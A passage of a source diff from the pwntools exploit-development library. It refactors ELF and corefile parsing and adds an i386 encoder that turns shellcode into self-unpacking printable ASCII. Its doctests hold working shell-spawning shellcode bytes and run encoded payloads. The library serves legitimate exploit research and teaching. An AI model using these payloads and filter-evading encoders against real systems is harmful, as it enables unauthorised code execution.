>>> core.stack.data.endswith(b'AAAA')
|
||||
@@ -551,15 +551,15 @@ class Corefile(ELF):
|
||||
self.load_addr = 0
|
||||
self._address = 0
|
||||
|
||||
if not self.elftype == 'CORE':
|
||||
if self.elftype != 'CORE':
|
||||
log.error("%s is not a valid corefile" % self.file.name)
|
||||
|
||||
if not self.arch in prstatus_types.keys():
|
||||
if self.arch not in prstatus_types:
|
||||
log.warn_once("%s does not use a supported corefile architecture, registers are unavailable" % self.file.name)
|
||||
|
||||
prstatus_type = prstatus_types.get(self.arch, None)
|
||||
prpsinfo_type = prpsinfo_types.get(self.bits, None)
|
||||
siginfo_type = siginfo_types.get(self.bits, None)
|
||||
prstatus_type = prstatus_types.get(self.arch)
|
||||
prpsinfo_type = prpsinfo_types.get(self.bits)
|
||||
siginfo_type = siginfo_types.get(self.bits)
|
||||
|
||||
with log.waitfor("Parsing corefile...") as w:
|
||||
self._load_mappings()
|
||||
@@ -669,8 +669,8 @@ class Corefile(ELF):
|
||||
continue
|
||||
|
||||
if mapping.start == self.at_sysinfo_ehdr \
|
||||
or (not vdso and mapping.size in [0x1000, 0x2000] \
|
||||
and mapping.flags == 5 \
|
||||
or (not vdso and mapping.size in [0x1000, 0x2000]
|
||||
and mapping.flags == 5
|
||||
and self.read(mapping.start, 4) == b'\x7fELF'):
|
||||
mapping.name = '[vdso]'
|
||||
vdso = True
|
||||
@@ -924,9 +924,9 @@ class Corefile(ELF):
|
||||
return
|
||||
|
||||
# If the stack does not end with zeroes, something is very wrong.
|
||||
if not stack.data.endswith(b'\x00' * 8):
|
||||
if not stack.data.endswith(b'\x00' * context.bytes):
|
||||
log.warn_once("End of the stack is corrupted, skipping stack parsing (got: %s)",
|
||||
enhex(self.data[-8:]))
|
||||
enhex(self.data[-context.bytes:]))
|
||||
return
|
||||
|
||||
# AT_EXECFN is the start of the filename, e.g. '/bin/sh'
|
||||
|
||||
@@ -191,7 +191,7 @@ class constants:
|
||||
NT_AUXV = 6
|
||||
#
|
||||
# Note to userspace developers: size of NT_SIGINFO note may increase
|
||||
# in the future to accomodate more fields, don't assume it is fixed!
|
||||
# in the future to accommodate more fields, don't assume it is fixed!
|
||||
#
|
||||
NT_SIGINFO = 0x53494749
|
||||
NT_FILE = 0x46494c45
|
||||
|
||||
+110
-20
@@ -83,12 +83,19 @@ from pwnlib.tubes.process import process
|
||||
from pwnlib.util import misc
|
||||
from pwnlib.util import packing
|
||||
from pwnlib.util.fiddling import unhex
|
||||
from pwnlib.util.misc import align, align_down
|
||||
from pwnlib.util.sh_string import sh_string
|
||||
|
||||
log = getLogger(__name__)
|
||||
|
||||
__all__ = ['load', 'ELF']
|
||||
|
||||
def _iter_symbols(sec):
|
||||
# Cache result of iter_symbols.
|
||||
if not hasattr(sec, '_symbols'):
|
||||
sec._symbols = list(sec.iter_symbols())
|
||||
return iter(sec._symbols)
|
||||
|
||||
class Function(object):
|
||||
"""Encapsulates information about a function in an :class:`.ELF` binary.
|
||||
|
||||
@@ -268,6 +275,9 @@ class ELF(ELFFile):
|
||||
self.arch = 'mips64'
|
||||
self.bits = 64
|
||||
|
||||
self._sections = None
|
||||
self._segments = None
|
||||
|
||||
#: IntervalTree which maps all of the loaded memory segments
|
||||
self.memory = intervaltree.IntervalTree()
|
||||
self._populate_memory()
|
||||
@@ -309,7 +319,7 @@ class ELF(ELFFile):
|
||||
config = gz.read()
|
||||
|
||||
if config:
|
||||
self.config = parse_kconfig(config)
|
||||
self.config = parse_kconfig(config.decode())
|
||||
|
||||
#: ``True`` if the ELF is a statically linked executable
|
||||
self.statically_linked = bool(self.elftype == 'EXEC' and self.load_addr)
|
||||
@@ -454,9 +464,6 @@ class ELF(ELFFile):
|
||||
self.checksec(*a, **kw)
|
||||
)
|
||||
|
||||
def __repr__(self):
|
||||
return "ELF(%r)" % self.path
|
||||
|
||||
def get_machine_arch(self):
|
||||
return {
|
||||
'EM_X86_64': 'amd64',
|
||||
@@ -484,6 +491,13 @@ class ELF(ELFFile):
|
||||
""":class:`str`: ELF type (``EXEC``, ``DYN``, etc)"""
|
||||
return describe_e_type(self.header.e_type).split()[0]
|
||||
|
||||
def iter_segments(self):
|
||||
# Yield and cache all the segments in the file
|
||||
if self._segments is None:
|
||||
self._segments = [self.get_segment(i) for i in range(self.num_segments())]
|
||||
|
||||
return iter(self._segments)
|
||||
|
||||
@property
|
||||
def segments(self):
|
||||
"""
|
||||
@@ -536,6 +550,13 @@ class ELF(ELFFile):
|
||||
|
||||
return None
|
||||
|
||||
def iter_sections(self):
|
||||
# Yield and cache all the sections in the file
|
||||
if self._sections is None:
|
||||
self._sections = [self.get_section(i) for i in range(self.num_sections())]
|
||||
|
||||
return iter(self._sections)
|
||||
|
||||
@property
|
||||
def sections(self):
|
||||
"""
|
||||
@@ -841,7 +862,7 @@ class ELF(ELFFile):
|
||||
if not isinstance(sec, SymbolTableSection):
|
||||
continue
|
||||
|
||||
for sym in sec.iter_symbols():
|
||||
for sym in _iter_symbols(sec):
|
||||
# Avoid duplicates
|
||||
if sym.name in self.functions:
|
||||
continue
|
||||
@@ -865,7 +886,7 @@ class ELF(ELFFile):
|
||||
if not isinstance(section, SymbolTableSection):
|
||||
continue
|
||||
|
||||
for symbol in section.iter_symbols():
|
||||
for symbol in _iter_symbols(section):
|
||||
value = symbol.entry.st_value
|
||||
if not value:
|
||||
continue
|
||||
@@ -906,7 +927,7 @@ class ELF(ELFFile):
|
||||
if self.statically_linked:
|
||||
return
|
||||
|
||||
for section in self.iter_sections():
|
||||
for section in self.sections:
|
||||
# We are only interested in relocations
|
||||
if not isinstance(section, RelocationSection):
|
||||
continue
|
||||
@@ -960,7 +981,7 @@ class ELF(ELFFile):
|
||||
|
||||
# Iterate over the dynamic symbol table
|
||||
dynsym = self.get_section_by_name('.dynsym')
|
||||
symbol_iter = dynsym.iter_symbols()
|
||||
symbol_iter = _iter_symbols(dynsym)
|
||||
|
||||
# 'gotsym' is the index of the first GOT symbol
|
||||
gotsym = self.dynamic_value_by_tag('DT_MIPS_GOTSYM')
|
||||
@@ -1002,9 +1023,10 @@ class ELF(ELFFile):
|
||||
# In particular, this is where EBX points when it points into the GOT.
|
||||
dt_pltgot = self.dynamic_value_by_tag('DT_PLTGOT') or 0
|
||||
|
||||
# There are two PLTs we may need to search
|
||||
# There are three PLTs we may need to search
|
||||
plt = self.get_section_by_name('.plt') # <-- Functions only
|
||||
plt_got = self.get_section_by_name('.plt.got') # <-- Functions used as data
|
||||
plt_sec = self.get_section_by_name('.plt.sec')
|
||||
plt_mips = self.get_section_by_name('.MIPS.stubs')
|
||||
|
||||
# Invert the GOT symbols we already have, so we can look up by address
|
||||
@@ -1012,7 +1034,7 @@ class ELF(ELFFile):
|
||||
inv_symbols.update({v:k for k,v in self.symbols.items()})
|
||||
|
||||
with context.local(arch=self.arch, bits=self.bits, endian=self.endian):
|
||||
for section in (plt, plt_got, plt_mips):
|
||||
for section in (plt, plt_got, plt_sec, plt_mips):
|
||||
if not section:
|
||||
continue
|
||||
|
||||
@@ -1033,7 +1055,10 @@ class ELF(ELFFile):
|
||||
return
|
||||
|
||||
banner = self.string(self.symbols.linux_banner)
|
||||
|
||||
|
||||
# convert banner into a utf-8 string since re.search does not accept bytes anymore
|
||||
banner = banner.decode('utf-8')
|
||||
|
||||
# 'Linux version 3.18.31-gd0846ecc
|
||||
regex = r'Linux version (\S+)'
|
||||
match = re.search(regex, banner)
|
||||
@@ -1048,8 +1073,51 @@ class ELF(ELFFile):
|
||||
|
||||
self.config['version'] = self.version
|
||||
|
||||
def search(self, needle, writable = False):
|
||||
"""search(needle, writable = False) -> generator
|
||||
@property
|
||||
def libc_start_main_return(self):
|
||||
"""
|
||||
Try to find the return address from main into __libc_start_main.
|
||||
The heuristic to find the call to the function pointer of main is
|
||||
to list all calls inside __libc_start_main, find the call to exit
|
||||
after the call to main and select the previous call.
|
||||
"""
|
||||
if '__libc_start_main' not in self.functions:
|
||||
return 0
|
||||
|
||||
if 'exit' not in self.symbols:
|
||||
return 0
|
||||
|
||||
# If there's no delay slot, execution continues on the next instruction after a call.
|
||||
call_return_offset = 1
|
||||
if self.arch in ['arm', 'thumb']:
|
||||
call_instructions = set(['blx', 'bl'])
|
||||
elif self.arch == 'aarch64':
|
||||
call_instructions = set(['blr', 'bl'])
|
||||
elif self.arch in ['mips', 'mips64']:
|
||||
call_instructions = set(['bal', 'jalr'])
|
||||
# Account for the delay slot.
|
||||
call_return_offset = 2
|
||||
elif self.arch in ['i386', 'amd64', 'ia64']:
|
||||
call_instructions = set(['call'])
|
||||
else:
|
||||
log.error('Unsupported architecture %s in ELF.libc_start_main_return', self.arch)
|
||||
return 0
|
||||
|
||||
code = self.disasm(self.symbols['__libc_start_main'], self.functions['__libc_start_main'].size)
|
||||
exit_addr = hex(self.symbols['exit'])
|
||||
lines = code.split('\n')
|
||||
calls = [(index, line) for index, line in enumerate(lines) if set(line.split()) & call_instructions]
|
||||
exit_calls = [index for index, line in enumerate(calls) if exit_addr in line[1]]
|
||||
if len(exit_calls) != 1:
|
||||
return 0
|
||||
|
||||
call_to_main = calls[exit_calls[0] - 1]
|
||||
return_from_main = lines[call_to_main[0] + call_return_offset].lstrip()
|
||||
return_from_main = int(return_from_main[ : return_from_main.index(':') ], 16)
|
||||
return return_from_main
|
||||
|
||||
def search(self, needle, writable = False, executable = False):
|
||||
"""search(needle, writable = False, executable = False) -> generator
|
||||
|
||||
Search the ELF's virtual address space for the specified string.
|
||||
|
||||
@@ -1062,6 +1130,7 @@ class ELF(ELFFile):
|
||||
Arguments:
|
||||
needle(str): String to search for.
|
||||
writable(bool): Search only writable sections.
|
||||
executable(bool): Search only executable sections.
|
||||
|
||||
Yields:
|
||||
An iterator for each virtual address that matches.
|
||||
@@ -1079,11 +1148,20 @@ class ELF(ELFFile):
|
||||
|
||||
>>> len(list(bash.search(b'GNU bash'))) > 0
|
||||
True
|
||||
|
||||
It is also possible to search for instructions in executable sections.
|
||||
|
||||
>>> binary = ELF.from_assembly('nop; mov eax, 0; jmp esp; ret')
|
||||
>>> jmp_addr = next(binary.search(asm('jmp esp'), executable = True))
|
||||
>>> binary.read(jmp_addr, 2) == asm('jmp esp')
|
||||
True
|
||||
"""
|
||||
load_address_fixup = (self.address - self.load_addr)
|
||||
|
||||
if writable:
|
||||
segments = self.writable_segments
|
||||
elif executable:
|
||||
segments = self.executable_segments
|
||||
else:
|
||||
segments = self.segments
|
||||
|
||||
@@ -1155,6 +1233,11 @@ class ELF(ELFFile):
|
||||
# DT_LOAD segment is **last** to load data into the region.
|
||||
self.memory.chop(start, stop_data)
|
||||
|
||||
# Fill the start of the segment's first page
|
||||
page_start = align_down(0x1000, start)
|
||||
if page_start < start and not self.memory[page_start]:
|
||||
self.memory.addi(page_start, start, None)
|
||||
|
||||
# Add the new segment
|
||||
if start != stop_data:
|
||||
self.memory.addi(start, stop_data, segment)
|
||||
@@ -1162,15 +1245,22 @@ class ELF(ELFFile):
|
||||
if stop_data != stop_mem:
|
||||
self.memory.addi(stop_data, stop_mem, b'\x00')
|
||||
|
||||
page_end = align(0x1000, stop_mem)
|
||||
|
||||
# Check for holes which we can fill
|
||||
if self._fill_gaps and i+1 < len(load_segments):
|
||||
next_start = load_segments[i+1].header.p_vaddr
|
||||
|
||||
if stop_mem < next_start and stop_mem>>(self.bits-1) == next_start>>(self.bits-1):
|
||||
self.memory.addi(stop_mem, next_start, None)
|
||||
else:
|
||||
page_end = (stop_mem + 0xfff) & ~(0xfff)
|
||||
page_next = align_down(0x1000, next_start)
|
||||
|
||||
if stop_mem < next_start:
|
||||
if page_end < page_next:
|
||||
if stop_mem < page_end:
|
||||
self.memory.addi(stop_mem, page_end, None)
|
||||
if page_next < next_start:
|
||||
self.memory.addi(page_next, next_start, None)
|
||||
else:
|
||||
self.memory.addi(stop_mem, next_start, None)
|
||||
else:
|
||||
if stop_mem < page_end:
|
||||
self.memory.addi(stop_mem, page_end, None)
|
||||
|
||||
@@ -1602,7 +1692,7 @@ class ELF(ELFFile):
|
||||
``PT_GNU_STACK``
|
||||
|
||||
The p_flags member specifies the permissions on the segment
|
||||
containing the stack and is used to indicate wether the stack
|
||||
containing the stack and is used to indicate whether the stack
|
||||
should be executable. The absense of this header indicates
|
||||
that the stack will be executable.
|
||||
|
||||
@@ -1766,7 +1856,7 @@ class ELF(ELFFile):
|
||||
# Check for Linux configuration, it must contain more than
|
||||
# just the version.
|
||||
if len(self.config) > 1:
|
||||
config_opts = collections.defaultdict(lambda: [])
|
||||
config_opts = collections.defaultdict(list)
|
||||
for checker in kernel_configuration:
|
||||
result, message = checker(self.config)
|
||||
|
||||
|
||||
+25
-9
@@ -36,13 +36,17 @@ def emulate_plt_instructions(elf, got, address, data, targets):
|
||||
data = packing.unpack_many(data, bits=32, endian='little')
|
||||
data = packing.flat(data, bits=32, endian='big')
|
||||
|
||||
uc, ctx = prepare_unicorn_and_context(elf, got, address, data)
|
||||
|
||||
# Brute force addresses, assume that PLT entry points are at 4-byte aligned
|
||||
# Do not emulate more than a handful of instructions.
|
||||
for i, pc in enumerate(range(address, address + len(data), 4)):
|
||||
if log.isEnabledFor(logging.DEBUG):
|
||||
log.debug('%s %#x', fiddling.enhex(data[i*4:(i+1) * 4]), pc)
|
||||
log.debug(elf.disasm(pc, 4))
|
||||
target = emulate_plt_instructions_inner(elf, got, pc, data[i*4:], targets)
|
||||
|
||||
uc.context_restore(ctx)
|
||||
target = emulate_plt_instructions_inner(uc, elf, got, pc, data[i*4:], targets)
|
||||
|
||||
if target in targets:
|
||||
log.debug("%#x -> %#x", pc, target)
|
||||
@@ -50,8 +54,7 @@ def emulate_plt_instructions(elf, got, address, data, targets):
|
||||
|
||||
return rv
|
||||
|
||||
def emulate_plt_instructions_inner(elf, got, pc, data, targets):
|
||||
# Deferred import to not affect load time
|
||||
def prepare_unicorn_and_context(elf, got, address, data):
|
||||
import unicorn as U
|
||||
|
||||
# Instantiate the emulator with the correct arguments for the current
|
||||
@@ -88,15 +91,15 @@ def emulate_plt_instructions_inner(elf, got, pc, data, targets):
|
||||
uc = U.Uc(arch, mode)
|
||||
|
||||
# Map the page of memory, and fill it with the contents
|
||||
start = pc & (~0xfff)
|
||||
stop = (pc + len(data) + 0xfff) & (~0xfff)
|
||||
start = address & (~0xfff)
|
||||
stop = (address + len(data) + 0xfff) & (~0xfff)
|
||||
|
||||
if not (0 <= start <= stop <= (1 << elf.bits)):
|
||||
return None
|
||||
|
||||
uc.mem_map(start, stop-start)
|
||||
uc.mem_write(pc, data)
|
||||
assert uc.mem_read(pc, len(data)) == data
|
||||
uc.mem_write(address, data)
|
||||
assert uc.mem_read(address, len(data)) == data
|
||||
|
||||
# MIPS is unique in that it relies entirely on _DYNAMIC, at the beginning
|
||||
# of the GOT. Each PLT stub loads an address stored here.
|
||||
@@ -129,9 +132,17 @@ def emulate_plt_instructions_inner(elf, got, pc, data, targets):
|
||||
trap = packing.p32(0x34000000, endian=elf.endian)
|
||||
uc.mem_write(magic_addr, trap)
|
||||
|
||||
return uc, uc.context_save()
|
||||
|
||||
def emulate_plt_instructions_inner(uc, elf, got, pc, data, targets):
|
||||
import unicorn as U
|
||||
|
||||
# Hook invalid addresses and any accesses out of the specified address range
|
||||
stopped_addr = []
|
||||
|
||||
# For MIPS. Explanation at prepare_unicorn_and_context.
|
||||
magic_addr = 0xdbdbdbdb
|
||||
|
||||
def hook_mem(uc, access, address, size, value, user_data):
|
||||
# Special case to allow MIPS to dereference the _DYNAMIC pointer
|
||||
# in the GOT.
|
||||
@@ -142,8 +153,10 @@ def emulate_plt_instructions_inner(elf, got, pc, data, targets):
|
||||
uc.emu_stop()
|
||||
return False
|
||||
|
||||
uc.hook_add(U.UC_HOOK_MEM_READ, hook_mem, stopped_addr)
|
||||
uc.hook_add(U.UC_HOOK_MEM_UNMAPPED, hook_mem, stopped_addr)
|
||||
hooks = [
|
||||
uc.hook_add(U.UC_HOOK_MEM_READ, hook_mem, stopped_addr),
|
||||
uc.hook_add(U.UC_HOOK_MEM_UNMAPPED, hook_mem, stopped_addr)
|
||||
]
|
||||
|
||||
# callback for tracing instructions
|
||||
# def hook_code(uc, address, size, user_data):
|
||||
@@ -178,4 +191,7 @@ def emulate_plt_instructions_inner(elf, got, pc, data, targets):
|
||||
if stopped_addr:
|
||||
retval = stopped_addr.pop()
|
||||
|
||||
for hook in hooks:
|
||||
uc.hook_del(hook)
|
||||
|
||||
return retval
|
||||
@@ -5,19 +5,20 @@ from pwnlib.encoders.i386.delta import i386DeltaEncoder
|
||||
|
||||
|
||||
class amd64DeltaEncoder(i386DeltaEncoder):
|
||||
"""
|
||||
r"""
|
||||
amd64 encoder built on delta-encoding.
|
||||
|
||||
In addition to the loader stub, doubles the size of the shellcode.
|
||||
|
||||
>>> context.clear(arch='amd64')
|
||||
>>> shellcode = asm(shellcraft.sh())
|
||||
>>> avoid = '/bin/sh\x00'
|
||||
>>> avoid = b'/bin/sh\x00'
|
||||
>>> encoded = pwnlib.encoders.amd64.delta.encode(shellcode, avoid)
|
||||
>>> assert not any(c in encoded for c in avoid)
|
||||
>>> p = run_shellcode(encoded)
|
||||
>>> p.sendline(b'echo hello; exit')
|
||||
>>> p.recvline()
|
||||
b'hello\n'
|
||||
"""
|
||||
assembly = '''
|
||||
base:
|
||||
@@ -39,8 +40,8 @@ next:
|
||||
data:
|
||||
'''
|
||||
arch = 'amd64'
|
||||
raw = 'H\x8d5\xf9\xff\xff\xffH\x83\xc6\x1a\xfcH\x89\xf7\xac\x93\xac(\xd8\xaa\x80\xeb\xacu\xf5'
|
||||
raw = b'H\x8d5\xf9\xff\xff\xffH\x83\xc6\x1a\xfcH\x89\xf7\xac\x93\xac(\xd8\xaa\x80\xeb\xacu\xf5'
|
||||
blacklist = set(raw)
|
||||
|
||||
encode = amd64DeltaEncoder()
|
||||
__all__ = [encode]
|
||||
__all__ = ['encode']
|
||||
@@ -32,7 +32,7 @@ class ArmEncoder(Encoder):
|
||||
enc_dec_loop = b.encDecoderLoopBuilder(dec_loop)
|
||||
dec = b.DecoderBuilder(dec_loop, self.icache_flush)
|
||||
|
||||
output,dec = b.buildInit(dec);
|
||||
output, dec = b.buildInit(dec)
|
||||
|
||||
output += dec
|
||||
output += enc_dec_loop
|
||||
|
||||
@@ -42,10 +42,10 @@ def off_gen(c):
|
||||
return x
|
||||
return 0
|
||||
|
||||
# return an alphanumeric value ret such that c XOR ret is also alphanumeric
|
||||
# =========================================================================
|
||||
# return an alphanumeric value ret such that c XOR ret is also alphanumeric
|
||||
# =========================================================================
|
||||
def alphanumeric_get_complement(c):
|
||||
c &= 0xff;
|
||||
c &= 0xff
|
||||
while True:
|
||||
ret = alphanumeric_get_byte()
|
||||
if alphanumeric_check(c ^ ret):
|
||||
|
||||
@@ -15,7 +15,7 @@ class ArmXorEncoder(Encoder):
|
||||
|
||||
>>> context.clear(arch='arm')
|
||||
>>> shellcode = asm(shellcraft.sh())
|
||||
>>> avoid = 'binsh\x00\n'
|
||||
>>> avoid = b'binsh\x00\n'
|
||||
>>> encoded = pwnlib.encoders.arm.xor.encode(shellcode, avoid)
|
||||
>>> assert not any(c in encoded for c in avoid)
|
||||
>>> p = run_shellcode(encoded)
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
from __future__ import absolute_import
|
||||
|
||||
from pwnlib.encoders.i386 import ascii_shellcode
|
||||
from pwnlib.encoders.i386 import delta
|
||||
from pwnlib.encoders.i386 import xor
|
||||
@@ -0,0 +1,300 @@
|
||||
""" Encoder to convert shellcode to shellcode that contains only ascii
|
||||
characters """
|
||||
# https://github.com/Gallopsled/pwntools/pull/1667
|
||||
|
||||
from __future__ import absolute_import
|
||||
|
||||
from itertools import product
|
||||
|
||||
import six
|
||||
|
||||
from pwnlib.context import LocalContext
|
||||
from pwnlib.context import context
|
||||
from pwnlib.encoders.encoder import Encoder
|
||||
from pwnlib.encoders.encoder import all_chars
|
||||
from pwnlib.util.iters import group
|
||||
from pwnlib.util.packing import *
|
||||
|
||||
|
||||
class AsciiShellcodeEncoder(Encoder):
|
||||
""" Pack shellcode into only ascii characters that unpacks itself and
|
||||
executes (on the stack)
|
||||
|
||||
The original paper this encoder is based on:
|
||||
http://julianor.tripod.com/bc/bypass-msb.txt
|
||||
|
||||
A more visual explanation as well as an implementation in C:
|
||||
https://github.com/VincentDary/PolyAsciiShellGen/blob/master/README.md#mechanism
|
||||
"""
|
||||
|
||||
def __init__(self, slop=20, max_subs=4):
|
||||
""" Init
|
||||
|
||||
Args:
|
||||
slop (int, optional): The amount esp will be increased by in the
|
||||
allocation phase (In addition to the length of the packed
|
||||
shellcode) as well as defines the size of the NOP sled (you can
|
||||
increase/ decrease the size of the NOP sled by adding/removing
|
||||
b'P'-s to/ from the end of the packed shellcode).
|
||||
Defaults to 20.
|
||||
max_subs (int, optional): The maximum amount of subtractions
|
||||
allowed to be taken. This may be increased if you have a
|
||||
relatively restrictive ``avoid`` set. The more subtractions
|
||||
there are, the bigger the packed shellcode will be.
|
||||
Defaults to 4.
|
||||
"""
|
||||
if six.PY2:
|
||||
super(AsciiShellcodeEncoder, self).__init__()
|
||||
elif six.PY3:
|
||||
super().__init__()
|
||||
self.slop = slop
|
||||
self.max_subs = max_subs
|
||||
|
||||
@LocalContext
|
||||
def __call__(self, raw_bytes, avoid=None, pcreg=None):
|
||||
r""" Pack shellcode into only ascii characters that unpacks itself and
|
||||
executes (on the stack)
|
||||
|
||||
Args:
|
||||
raw_bytes (bytes): The shellcode to be packed
|
||||
avoid (set, optional): Characters to avoid. Defaults to allow
|
||||
printable ascii (0x21-0x7e).
|
||||
pcreg (NoneType, optional): Ignored
|
||||
|
||||
Raises:
|
||||
RuntimeError: A required character is in ``avoid`` (required
|
||||
characters are characters which assemble into assembly
|
||||
instructions and are used to unpack the shellcode onto the
|
||||
stack, more details in the paper linked above ``\ - % T X P``).
|
||||
RuntimeError: Not supported architecture
|
||||
ArithmeticError: The allowed character set does not contain
|
||||
two characters that when they are bitwise-anded with eachother
|
||||
their result is 0
|
||||
ArithmeticError: Could not find a correct subtraction sequence
|
||||
to get to the the desired target value with the given ``avoid``
|
||||
parameter
|
||||
|
||||
Returns:
|
||||
bytes: The packed shellcode
|
||||
|
||||
Examples:
|
||||
|
||||
>>> context.update(arch='i386', os='linux')
|
||||
>>> sc = b"\x83\xc4\x181\xc01\xdb\xb0\x06\xcd\x80Sh/ttyh/dev\x89\xe31\xc9f\xb9\x12'\xb0\x05\xcd\x80j\x17X1\xdb\xcd\x80j.XS\xcd\x801\xc0Ph//shh/bin\x89\xe3PS\x89\xe1\x99\xb0\x0b\xcd\x80"
|
||||
>>> encoders.i386.ascii_shellcode.encode(sc)
|
||||
b'TX-!!!!-"_``-~~~~P\\%!!!!%@@@@-!6!!-V~!!-~~<-P-!mha-a~~~P-!!L`-a^~~-~~~~P-!!if-9`~~P-!!!!-aOaf-~~~~P-!&!<-!~`~--~~~P-!!!!-!!H^-+A~~P-U!![-~A1~P-,<V!-~~~!-~~~GP-!2!8-j~O~P-!]!!-!~!r-y~w~P-c!!!-~<(+P-N!_W-~1~~P-!!]!-Mn~!-~~~<P-!<!!-r~!P-~~x~P-fe!$-~~S~-~~~~P-!!\'$-%z~~P-A!!!-~!#!-~*~=P-!7!!-T~!!-~~E^PPPPPPPPPPPPPPPPPPPPP'
|
||||
>>> avoid = {'\x00', '\x83', '\x04', '\x87', '\x08', '\x8b', '\x0c', '\x8f', '\x10', '\x93', '\x14', '\x97', '\x18', '\x9b', '\x1c', '\x9f', ' ', '\xa3', '\xa7', '\xab', '\xaf', '\xb3', '\xb7', '\xbb', '\xbf', '\xc3', '\xc7', '\xcb', '\xcf', '\xd3', '\xd7', '\xdb', '\xdf', '\xe3', '\xe7', '\xeb', '\xef', '\xf3', '\xf7', '\xfb', '\xff', '\x80', '\x03', '\x84', '\x07', '\x88', '\x0b', '\x8c', '\x0f', '\x90', '\x13', '\x94', '\x17', '\x98', '\x1b', '\x9c', '\x1f', '\xa0', '\xa4', '\xa8', '\xac', '\xb0', '\xb4', '\xb8', '\xbc', '\xc0', '\xc4', '\xc8', '\xcc', '\xd0', '\xd4', '\xd8', '\xdc', '\xe0', '\xe4', '\xe8', '\xec', '\xf0', '\xf4', '\xf8', '\xfc', '\x7f', '\x81', '\x02', '\x85', '\x06', '\x89', '\n', '\x8d', '\x0e', '\x91', '\x12', '\x95', '\x16', '\x99', '\x1a', '\x9d', '\x1e', '\xa1', '\xa5', '\xa9', '\xad', '\xb1', '\xb5', '\xb9', '\xbd', '\xc1', '\xc5', '\xc9', '\xcd', '\xd1', '\xd5', '\xd9', '\xdd', '\xe1', '\xe5', '\xe9', '\xed', '\xf1', '\xf5', '\xf9', '\xfd', '\x01', '\x82', '\x05', '\x86', '\t', '\x8a', '\r', '\x8e', '\x11', '\x92', '\x15', '\x96', '\x19', '\x9a', '\x1d', '\x9e', '\xa2', '\xa6', '\xaa', '\xae', '\xb2', '\xb6', '\xba', '\xbe', '\xc2', '\xc6', '\xca', '\xce', '\xd2', '\xd6', '\xda', '\xde', '\xe2', '\xe6', '\xea', '\xee', '\xf2', '\xf6', '\xfa', '\xfe'}
|
||||
>>> sc = shellcraft.echo("Hello world") + shellcraft.exit()
|
||||
>>> ascii = encoders.i386.ascii_shellcode.encode(asm(sc), avoid)
|
||||
>>> ascii += asm('jmp esp') # just for testing, the unpacker should also run on the stack
|
||||
>>> ELF.from_bytes(ascii).process().recvall()
|
||||
b'Hello world'
|
||||
"""
|
||||
if not avoid:
|
||||
vocab = bytearray(
|
||||
b"!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~")
|
||||
else:
|
||||
required_chars = set('\\-%TXP')
|
||||
allowed = set(all_chars)
|
||||
if avoid.intersection(required_chars):
|
||||
raise RuntimeError(
|
||||
'''These characters ({}) are required because they assemble
|
||||
into instructions used to unpack the shellcode'''.format(
|
||||
str(required_chars, 'ascii')))
|
||||
allowed.difference_update(avoid)
|
||||
vocab = bytearray(map(ord, allowed))
|
||||
|
||||
if context.arch != 'i386' or context.bits != 32:
|
||||
raise RuntimeError('Only 32-bit i386 is currently supported')
|
||||
|
||||
int_size = context.bytes
|
||||
|
||||
# Prepend with NOPs for the NOP sled
|
||||
shellcode = bytearray(b'\x90'*int_size + raw_bytes)
|
||||
subtractions = self._get_subtractions(shellcode, vocab)
|
||||
allocator = self._get_allocator(len(subtractions) + self.slop, vocab)
|
||||
nop_sled = b'P' * self.slop # push eax
|
||||
return bytes(allocator + subtractions + nop_sled)
|
||||
|
||||
@LocalContext
|
||||
def _get_allocator(self, size, vocab):
|
||||
r""" Allocate enough space on the stack for the shellcode
|
||||
|
||||
int_size is taken from the context
|
||||
|
||||
Args:
|
||||
size (int): The allocation size
|
||||
vocab (bytearray): Allowed characters
|
||||
|
||||
Returns:
|
||||
bytearray: The allocator shellcode
|
||||
|
||||
Examples:
|
||||
|
||||
>>> context.update(arch='i386', os='linux')
|
||||
>>> vocab = bytearray(b'!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~')
|
||||
>>> encoders.i386.ascii_shellcode.encode._get_allocator(300, vocab)
|
||||
bytearray(b'TX-!!!!-!_``-t~~~P\\%!!!!%@@@@')
|
||||
"""
|
||||
size += 0x1e # add typical allocator size
|
||||
int_size = context.bytes
|
||||
# Use eax for subtractions because sub esp, X doesn't assemble to ascii
|
||||
result = bytearray(b'TX') # push esp; pop eax
|
||||
# Set target to the `size` arg
|
||||
target = bytearray(pack(size))
|
||||
# All we are doing here is adding (subtracting) `size`
|
||||
# to esp (to allocate space on the stack), so we don't care
|
||||
# about esp's actual value. That's why the `last` parameter
|
||||
# for `calc_subtractions` can just be zero
|
||||
for subtraction in self._calc_subtractions(
|
||||
bytearray(int_size), target, vocab):
|
||||
# sub eax, subtraction
|
||||
result += b'-' + subtraction
|
||||
result += b'P\\' # push eax, pop esp
|
||||
# Zero out eax for the unpacking part
|
||||
pos, neg = self._find_negatives(vocab)
|
||||
# and eax, pos; and eax, neg ; (0b00010101 & 0b00101010 = 0b0)
|
||||
result += flat((b'%', pos, b'%', neg))
|
||||
return result
|
||||
|
||||
@LocalContext
|
||||
def _find_negatives(self, vocab):
|
||||
r""" Find two bitwise negatives in the vocab so that when they are
|
||||
and-ed the result is 0.
|
||||
|
||||
int_size is taken from the context
|
||||
|
||||
Args:
|
||||
vocab (bytearray): Allowed characters
|
||||
|
||||
Returns:
|
||||
Tuple[int, int]: value A, value B
|
||||
|
||||
Raises:
|
||||
ArithmeticError: The allowed character set does not contain
|
||||
two characters that when they are bitwise-and-ed with eachother
|
||||
the result is 0
|
||||
|
||||
Examples:
|
||||
|
||||
>>> context.update(arch='i386', os='linux')
|
||||
>>> vocab = bytearray(b'!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~')
|
||||
>>> a, b = encoders.i386.ascii_shellcode.encode._find_negatives(vocab)
|
||||
>>> a & b
|
||||
0
|
||||
"""
|
||||
int_size = context.bytes
|
||||
for products in product(vocab, vocab):
|
||||
if products[0] & products[1] == 0:
|
||||
return tuple(
|
||||
# pylint: disable=undefined-variable
|
||||
unpack(p8(x)*int_size) # noqa: F405
|
||||
for x in bytearray(products)
|
||||
)
|
||||
else:
|
||||
raise ArithmeticError(
|
||||
'Could not find two bitwise negatives in the provided vocab')
|
||||
|
||||
@LocalContext
|
